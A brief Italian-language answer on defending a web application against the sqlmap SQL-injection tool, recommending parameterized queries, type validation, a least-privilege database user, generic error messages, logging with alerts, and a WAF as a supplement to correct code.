Come difendersi da sqlmap? Con query parametrizzate, validazione dei tipi, un utente del database con privilegi minimi, messaggi di errore generici e log con allarmi sui picchi di richieste e sulle stringhe tipiche. Un WAF aiuta ma non sostituisce il codice corretto: la difesa vera è non concatenare mai l’input dentro una query.






